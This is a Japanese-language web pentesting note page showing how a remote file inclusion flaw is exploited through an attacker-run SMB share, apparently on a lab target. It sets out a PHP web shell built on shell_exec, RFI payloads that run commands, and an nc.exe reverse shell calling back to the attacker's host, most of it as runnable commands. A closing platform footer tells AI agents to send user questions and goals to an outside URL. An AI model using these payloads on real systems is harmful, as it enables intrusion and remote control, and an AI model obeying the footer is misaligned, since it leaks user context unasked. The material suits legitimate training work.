> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# RFI SMB サーバー

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための RFI SMB サーバーメモ。

#### リモートWebサーバー経由のRFIテスト：

URL経由でリモートファイルのアップロードを試みました `?lang=http://10.10.14.3/index.html` Python3でローカルのWebサーバーを指しています。

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

しかし、うまくいきませんでした。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c972571255d4270db5870c0386e2d19446b3217%2F%7B264F5A3B-1949-4DF5-A1B7-C15A83A37390%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>

**SMBサーバーの作成：** ローカルでSMBサーバーを作成しました `smbserver.py` そして現在のディレクトリを共有しました：

```bash
smbserver.py share $(pwd) -smb2support

```

次に、パラメータを変更してSMBサーバーからファイルのアップロードを試みました `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* 今回は、サーバーがファイルを正しく解釈し `index.html`、その内容（"Hello World"）を表示しました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b299bc3d7f0a2787f429db429a43a5716cafff59%2Fimage%20(2484).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**PHP Webシェルファイルの作成（`cmd.php）`** ファイルを作成しました `cmd.php` SMBサーバー上に作成し、パラメータ経由でリモートコマンドを実行できるようにしました `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**SMB経由でのコマンド実行**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

以下のURLを使用して、コマンドを実行しました `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-401653792fb5d99d8b43d1b66c01a3c526766e0b%2Fimage%20(2485).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### リバースシェル（nc.exe）

**のダウンロード `nc.exe` リバースシェル用：**／次を取得しました `nc.exe` fuzzingツール内のバイナリを `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` そして作業ディレクトリにコピーしました。

```bash
nc.exe を見つける
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**ポート443で待ち受け：**／次を設定しました `nc` ポート443のリスナー：

```bash
rlwrap nc -nvlp 443

```

**SMB経由でのリバースシェルのコマンド実行：**／その後、パラメータを指定してリバースシェルを開始しました `cmd` 自分たちのファイルを

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

このようにして、自分たちのマシンへのリバースシェルを取得しました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219834e61616dd01b70028fc6d4d70935b8cf3b0%2F%7B54444252-CE2B-492D-8A2D-7B143D3AB383%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
